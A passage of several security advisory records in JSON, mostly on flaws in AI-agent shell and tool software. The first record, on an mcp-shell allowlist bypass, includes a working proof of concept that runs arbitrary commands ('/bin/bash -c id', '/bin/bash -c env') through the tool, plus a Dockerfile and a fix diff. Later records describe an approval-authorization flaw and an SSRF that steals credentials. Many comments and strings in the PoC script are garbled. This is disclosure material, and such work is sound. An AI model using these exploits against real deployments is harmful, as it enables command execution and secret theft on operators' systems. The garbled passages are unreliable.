\u2192 allowlist bypass  /bin/bash -c only through the path occurs proven\n```\n\n**Alternatively, using raw `printf` (no Python required):**\n\n```bash\nprintf \u0027%s\\n\u0027 \\\n  \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"0.0.1\"}}}\u0027 \\\n  \u0027{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}}\u0027 \\\n  \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"shell_exec\",\"arguments\":{\"command\":\"/bin/bash -c id\",\"base64\":false}}}\u0027 \\\n| docker run --rm -i mcp-shell-vuln-001:latest\n```\n\n**Observed MCP response:**\n\n```json\n{\n  \"command\": \"/bin/bash -c id\",\n  \"execution_time\": \"3.854555ms\",\n  \"exit_code\": 0,\n  \"security_info\": {\"security_enabled\": true, \"working_dir\": \"/tmp\", \"timeout_applied\": true},\n  \"status\": \"success\",\n  \"stderr\": \"\",\n  \"stdout\": \"uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)\"\n}\n```\n\n**Remediation (patch guidance):**\n\n1. Remove shell interpreters from the default `security.yaml` allowlist:\n\n```diff\n--- a/security.yaml\n+++ b/security.yaml\n-    - \"/bin/bash\"  # Only allow if you trust the arguments\n```\n\n2. Add argument-level validation in `security.go` to block shell command-mode flags even when a shell interpreter is allowlisted:\n\n```diff\n--- a/security.go\n+++ b/security.go\n  executable := parts[0]\n+ args := parts[1:]\n+\n+ if isShellCommandMode(executable, args) {\n+     return fmt.Errorf(\"shell command mode is not allowed in secure mode: %s\", executable)\n+ }\n\n  // Check if the executable is in the allowlist\n  for _, allowed := range v.config.AllowedExecutables {\n  ...\n  }\n+\n+ func isShellCommandMode(executable string, args []string) bool {\n+     base := filepath.Base(executable)\n+     switch base {\n+     case \"sh\", \"bash\", \"dash\", \"ash\", \"zsh\", \"ksh\":\n+         for _, arg := range args {\n+             if arg == \"-c\" || (strings.HasPrefix(arg, \"-\") \u0026\u0026 strings.Contains(arg, \"c\")) {\n+                 return true\n+             }\n+         }\n+     }\n+     return false\n+ }\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). The `shell_exec` MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (`curl`, `wget`, `env`, `sed`, `grep`, `tar`, etc. \u2014 all installed by the Dockerfile) under the identity of `mcpuser` (UID 1000).\n\n**Who is impacted:**\n\n- **Any operator** deploying the official Docker image without modifying the default `security.yaml` is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required.\n- **MCP clients** that interact with a vulnerable `mcp-shell` instance \u2014 including automated AI agents, LLM orchestration platforms, and CI/CD pipelines \u2014 may be leveraged to exfiltrate secrets, tamper with files accessible to `mcpuser`, or pivot further within the container\u0027s network.\n- The `--network=none` flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.\n\n**Concrete consequences of exploitation:**\n\n- **Confidentiality:** Dump environment variables (`/bin/bash -c env`), read files, or exfiltrate credentials visible to `mcpuser`.\n- **Integrity:** Write or modify files within the container\u0027s writable filesystem.\n- **Availability:** Consume container resources or terminate processes.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c\n# build context: ../repo directory\n# usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest\n\n# Build stage\nFROM golang:1.25-alpine AS builder\n\nRUN apk add --no-cache git\n\nWORKDIR /app\n\nCOPY go.mod go.sum ./\nRUN go mod download\n\nCOPY *.go ./\n\nARG VERSION=vuln-001-poc\nRUN CGO_ENABLED=0 GOOS=linux go build \\\n    -ldflags \"-X main.version=${VERSION} -s -w\" \\\n    -a -installsuffix cgo \\\n    -o mcp-shell .\n\n# Runtime stage\nFROM alpine:3.22\n\nRUN apk add --no-cache \\\n    bash \\\n    curl \\\n    wget \\\n    git \\\n    make \\\n    findutils \\\n    grep \\\n    sed \\\n    gawk \\\n    tar \\\n    gzip \\\n    unzip \\\n    ca-certificates \\\n    \u0026\u0026 rm -rf /var/cache/apk/*\n\nRUN addgroup -g 1000 mcpuser \u0026\u0026 \\\n    adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser\n\nRUN mkdir -p /tmp/mcp-workspace \u0026\u0026 \\\n    chown mcpuser:mcpuser /tmp/mcp-workspace\n\nRUN mkdir -p /etc/mcp-shell \u0026\u0026 \\\n    chown mcpuser:mcpuser /etc/mcp-shell\n\nCOPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell\nRUN chmod +x /usr/local/bin/mcp-shell\n\n# Vulnerable default configuration: /bin/bash text allowed_executables text containsdone\nCOPY security.yaml /etc/mcp-shell/security.yaml\n\nENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml\nENV PATH=\"/usr/local/bin:${PATH}\"\n\nUSER mcpuser\nWORKDIR /tmp/mcp-workspace\n\nENTRYPOINT [\"mcp-shell\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c\n\nVulnerability summary:\n  security.yamltext allowed_executablestext /bin/bash text registerbecomes text,\n  validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand\n  -c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext\n  executor.go:163 from exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\") text executebecomes\n  allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.\n\nusage:\n  python3 poc.py [IMAGE_NAME]\n  default text: mcp-shell-vuln-001:latest\n\"\"\"\n\nimport subprocess\nimport json\nimport sys\n\nIMAGE = sys.argv[1] if len(sys.argv) \u003e 1 else \"mcp-shell-vuln-001:latest\"\n\n\ndef make_msg(obj):\n    return json.dumps(obj, separators=(\u0027,\u0027, \u0027:\u0027))\n\n\n# MCP JSON-RPC message whentext\nMESSAGES = [\n    # 1. initialize handshake\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 1,\n        \"method\": \"initialize\",\n        \"params\": {\n            \"protocolVersion\": \"2024-11-05\",\n            \"capabilities\": {},\n            \"clientInfo\": {\"name\": \"vuln-001-poc\", \"version\": \"0.0.1\"}\n        }\n    }),\n    # 2. initialized text (response none)\n    make_msg({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\", \"params\": {}}),\n    # 3. vulnerability text: /bin/bash -c id\n    #    id text allowlisttext textonly /bin/bash text because it exists verification passed \u2192 id execute\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 2,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"shell_exec\",\n            \"arguments\": {\"command\": \"/bin/bash -c id\", \"base64\": False}\n        }\n    }),\n    # 4. comparison: id directly execute \u2192 allowlisttext because it is missing blockbecomestext done\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 3,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"shell_exec\",\n            \"arguments\": {\"command\": \"id\", \"base64\": False}\n        }\n    }),\n    # 5. add evidence: env environment variable text (envtext allowlisttext none)\n    make_msg({\n        \"jsonrpc\": \"2.0\", \"id\": 4,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"shell_exec\",\n            \"arguments\": {\"command\": \"/bin/bash -c env\", \"base64\": False}\n        }\n    }),\n]\n\n\ndef extract_text(resp):\n    \"\"\"MCP tools/call responsefrom text contents extract\"\"\"\n    try:\n        content = resp.get(\"result\", {}).get(\"content\", [])\n        for item in content:\n            if item.get(\"type\") == \"text\":\n                return item[\"text\"]\n    except Exception:\n        pass\n    return None\n\n\ndef run_poc():\n    stdin_data = \"\\n\".join(MESSAGES) + \"\\n\"\n\n    print(f\"[*] text: {IMAGE}\")\n    print(\"[*] text: /bin/bash -c id\")\n    print(\"[*] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock\")\n    print()\n\n    try:\n        proc = subprocess.run(\n            [\"docker\", \"run\", \"--rm\", \"-i\", \"--network=none\", IMAGE],\n            input=stdin_data.encode(),\n            capture_output=True,\n            timeout=30,\n        )\n    except subprocess.TimeoutExpired:\n        print(\"[-] error: container response timeout (30seconds)\")\n        return False, \"timeout\"\n    except FileNotFoundError:\n        print(\"[-] error: docker commandtext text can none\")\n        return False, \"docker not found\"\n    except Exception as e:\n        print(f\"[-] error: {e}\")\n        return False, str(e)\n\n    stdout = proc.stdout.decode(errors=\"replace\")\n    stderr = proc.stderr.decode(errors=\"replace\")\n\n    print(\"=== STDOUT (JSON-RPC response) ===\")\n    print(stdout)\n    if stderr:\n        print(\"=== STDERR (server log, partial) ===\")\n        print(stderr[:1500])\n    print()\n\n    # response parse\n    responses = {}\n    for line in stdout.splitlines():\n        line = line.strip()\n        if not line:\n            continue\n        try:\n            resp = json.loads(line)\n            msg_id = resp.get(\"id\")\n            if msg_id is not None:\n                responses[msg_id] = resp\n        except json.JSONDecodeError:\n            pass\n\n    exploit_passed = False\n    exploit_evidence = \"\"\n\n    # [id=2] /bin/bash -c id result check (key point evidence)\n    if 2 in responses:\n        text = extract_text(responses[2])\n        if text:\n            print(f\"[id=2] /bin/bash -c id response text: {text[:400]}\")\n            try:\n                result = json.loads(text)\n                stdout_val = result.get(\"stdout\", \"\")\n                status = result.get(\"status\", \"\")\n                exit_code = result.get(\"exit_code\", -1)\n                print(f\"  \u2192 status={status!r}, exit_code={exit_code}, stdout={stdout_val!r}\")\n                if \"uid=\" in stdout_val and status == \"success\":\n                    exploit_passed = True\n                    exploit_evidence = (\n                        f\"command=/bin/bash -c id | status={status} | \"\n                        f\"exit_code={exit_code} | stdout={stdout_val}\"\n                    )\n                    print(f\"\\n[+] PASS: uid= check \u2192 /bin/bash -c text arbitrary command execute success!\")\n                    print(f\"[+] Deterministic evidence: {exploit_evidence}\")\n            except json.JSONDecodeError:\n                if \"uid=\" in text:\n                    exploit_passed = True\n                    exploit_evidence = text\n                    print(f\"[+] PASS: uid= confirmed (raw): {text[:200]}\")\n    else:\n        print(\"[-] id=2 response none (secondstext failure or server error)\")\n\n    # [id=3] id directly execute \u2192 block check (text)\n    if 3 in responses:\n        text = extract_text(responses[3]) or \"\"\n        resp_str = str(responses[3])\n        blocked = (\n            \"not in allowed list\" in text\n            or \"not in allowed list\" in resp_str\n            or \"Security violation\" in text\n            or \"isError\" in resp_str and \"true\" in resp_str.lower()\n        )\n        if blocked:\n            print(f\"\\n[+] text check: \u0027id\u0027 directly executetext blocked (allowlist behavior normal)\")\n            print(f\"    \u2192 allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone\")\n        else:\n            print(f\"[*] \u0027id\u0027 directly result: {text[:200]}\")\n\n    # [id=4] /bin/bash -c env add evidence\n    if 4 in responses:\n        text = extract_text(responses[4]) or \"\"\n        try:\n            result = json.loads(text)\n            stdout_val = result.get(\"stdout\", \"\")\n            if \"PATH=\" in stdout_val or \"HOME=\" in stdout_val:\n                env_lines = stdout_val.splitlines()[:5]\n                print(f\"\\n[+] add evidence: /bin/bash -c env success (envtext allowlist textcontains)\")\n                print(f\"    first 5lines: {chr(10).join(\u0027    \u0027 + l for l in env_lines)}\")\n        except Exception:\n            pass\n\n    return exploit_passed, exploit_evidence\n\n\nif __name__ == \"__main__\":\n    passed, evidence = run_poc()\n    print()\n    if passed:\n        print(\"[+] vulnerability reproduction result: PASS\")\n        sys.exit(0)\n    else:\n        print(\"[-] vulnerability reproduction result: FAIL\")\n        sys.exit(1)\n```",
  "id": "GHSA-3x77-wg38-92r3",
  "modified": "2026-08-25T15:41:30Z",
  "published": "2026-08-25T15:41:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sonirico/mcp-shell/security/advisories/GHSA-3x77-wg38-92r3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sonirico/mcp-shell/pull/16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sonirico/mcp-shell"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43574"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T21:55:54Z",
    "nvd_published_at": "2026-05-05T12:16:21Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nEmpty approver lists could grant explicit approval authorization.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003c 2026.4.12`\n- Patched versions: `\u003e= 2026.4.12`\n\n## Impact\n\nFor helper-backed channels, an empty resolved approver list could be interpreted as explicit approval authorization, allowing a sender outside the normal channel authorization gate to resolve pending approvals if they knew an approval id.\n\n## Technical Details\n\nThe fix prevents empty approver lists from granting explicit approval authorization and adds regression coverage for unauthorized senders.\n\n## Fix\n\nThe issue was fixed in #65714. The first stable tag containing the fix is `v2026.4.12`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `0a105c0900de701d2ee9f1abc96b017afbd0afdd`\n- PR: #65714\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.12 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @anshumanbh for reporting this issue.",
  "id": "GHSA-49cg-279w-m73x",
  "modified": "2026-05-08T01:32:40Z",
  "published": "2026-04-17T21:55:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-49cg-279w-m73x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43574"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/pull/65714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/0a105c0900de701d2ee9f1abc96b017afbd0afdd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-improper-authorization-via-empty-approver-lists"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Empty approver lists could grant explicit approval authorization"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-16129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-18T17:16:39Z",
    "severity": "LOW"
  },
  "details": "A vulnerability has been found in princezuda SafestClaw up to 4.2.4. This vulnerability affects the function ShellAction._validate_command of the file src/safestclaw/actions/shell.py of the component Built-in Web Interface. Such manipulation leads to incomplete blacklist. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The presence of this vulnerability remains uncertain at this time. The project maintainer explains: \"On paper you\u0027re correct, this is a vulnerability. In practice, nothing your AI generated shows how it makes users vulnerable. It\u0027s open source. Someone can mod the shell allow list or remove that system. Present an actual poc that shows a threat to users.\"",
  "id": "GHSA-4ch8-fgcq-7558",
  "modified": "2026-07-18T18:30:21Z",
  "published": "2026-07-18T18:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/princezuda/safestclaw/issues/59"
    },
    {
      "type": "WEB",
      "url": "https://github.com/princezuda/safestclaw"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-16129"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/856882"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/379845"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/379845/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@haxtheweb/open-apis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T14:44:46Z",
    "nvd_published_at": "2026-06-05T19:16:33Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nMultiple functions conduct substring-only matching to validate hostnames to which basic authorization should be sent. An attacker can append the matched substrings to an attacker-controlled endpoint and capture authentication.\n\n### Details\n[api/services/website/cacheAddress.js](https://github.com/haxtheweb/open-apis/blob/ff694ce91442c39ae1a78dc21e9ce50546aa207a/api/services/website/cacheAddress.js#L21), [api/apps/haxcms/lib/JOSHelpers.js](https://github.com/haxtheweb/open-apis/blob/ff694ce91442c39ae1a78dc21e9ce50546aa207a/api/apps/haxcms/lib/JOSHelpers.js#L26), and [api/apps/haxcms/convert/elmslnToSite.js](https://github.com/haxtheweb/open-apis/blob/ff694ce91442c39ae1a78dc21e9ce50546aa207a/api/apps/haxcms/convert/elmslnToSite.js#L37) use similar logic to check for hard-coded site names. However, the logic only looks for the substring to be included in the user-controlled string, allowing an attacker to craft an API call and extract the credentials intended for the hard-coded domains.\n\n### PoC\nMaking API calls to an affected endpoint will result in credential theft. The attacker-controlled domains in these proofs of concept are `cloudflared` tunnels, protecting the production credentials from unencrypted exposure.\n\ncacheAddress.js:\n\u003cimg width=\"3404\" height=\"1656\" alt=\"ssrf_cred_theft\" src=\"https://github.com/user-attachments/assets/0a87cef5-3c4d-450a-8bb7-35123d5f621b\" /\u003e\n\nelmslnToSite.js:\n\u003cimg width=\"3409\" height=\"1641\" alt=\"theft2\" src=\"https://github.com/user-attachments/assets/bede82cc-a613-4fc7-bbf6-76166af784f5\" /\u003e\n\nJOSHelpers.js:\n\u003cimg width=\"3407\" height=\"1597\" alt=\"theft3\" src=\"https://github.com/user-attachments/assets/4f3f8bee-443e-4b22-9d41-eb9726619d36\" /\u003e\n\n### Impact\nThis vulnerability allows internal data, including secrets, to be exfiltrated to an attacker-controlled domain. Credentials were confirmed with the maintainer to grant access to unreleased LMS content on subsequent systems; out of scope for PoC.",
  "id": "GHSA-4fg7-f244-3j49",
  "modified": "2026-06-09T11:56:37Z",
  "published": "2026-05-19T14:44:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-4fg7-f244-3j49"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46391"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/haxtheweb/issues"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "HAX open-apis: Credential Theft via Server-Side Request Forgery (SSRF) in open-apis"
}